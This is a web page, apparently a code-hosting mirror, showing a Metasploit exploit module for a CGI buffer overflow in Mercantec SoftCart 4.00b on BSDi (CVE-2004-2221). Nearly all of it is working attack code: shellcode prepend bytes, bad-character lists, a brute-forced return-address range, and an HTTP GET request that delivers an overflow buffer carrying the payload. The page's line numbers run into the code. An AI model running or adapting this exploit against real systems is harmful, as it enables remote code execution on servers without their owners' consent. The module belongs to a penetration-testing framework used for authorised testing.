Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/bsdi/softcart/mercantec_softcart.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Brute9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(update_info(info,13'Name' => 'Mercantec SoftCart CGI Overflow',14'Description' => %q{15This is an exploit for an undisclosed buffer overflow16in the SoftCart.exe CGI as shipped with Mercantec's shopping17cart software. It is possible to execute arbitrary code18by passing a malformed CGI parameter in an HTTP GET19request. This issue is known to affect SoftCart version204.00b.21},22'Author' => [ 'skape', 'trew' ],23'References' =>24[25[ 'CVE', '2004-2221'],26[ 'OSVDB', '9011'],27[ 'BID', '10926'],28],29'Privileged' => false,30'Payload' =>31{32'Space' => 1000,33'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",34'MinNops' => 16,35'Prepend' => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",36'PrependEncoder' => "\x83\xec\x7f",37},38'Platform' => 'bsdi',39'Targets' =>40[41[42'BSDi/4.3 Bruteforce',43{44'Bruteforce' =>45{46'Start' => { 'Ret' => 0xefbf3000 },47'Stop' => { 'Ret' => 0xefbffffc },48'Step' => 049}50},51],52],53'DisclosureDate' => '2004-08-19',54'DefaultTarget' => 0))5556register_options(57[58OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])59])60end6162def brute_exploit(address)63if not (@mercantec)64res = send_request_raw({65'uri' => normalize_uri(datastore['URI'])66}, 5)67@mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/)68fail_with(Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec69end7071buffer =72"MAA+scstoreB" +73rand_text_alphanumeric(512) +74[address['Ret']].pack('V') +75"MSF!" +76[address['Ret'] + payload.encoded.length].pack('V') +77payload.encoded7879print_status("Trying #{"%.8x" % address['Ret']}...")80res = send_request_raw({81'uri' => normalize_uri(datastore['URI']),82'query' => buffer83}, 5)8485handler86end87end888990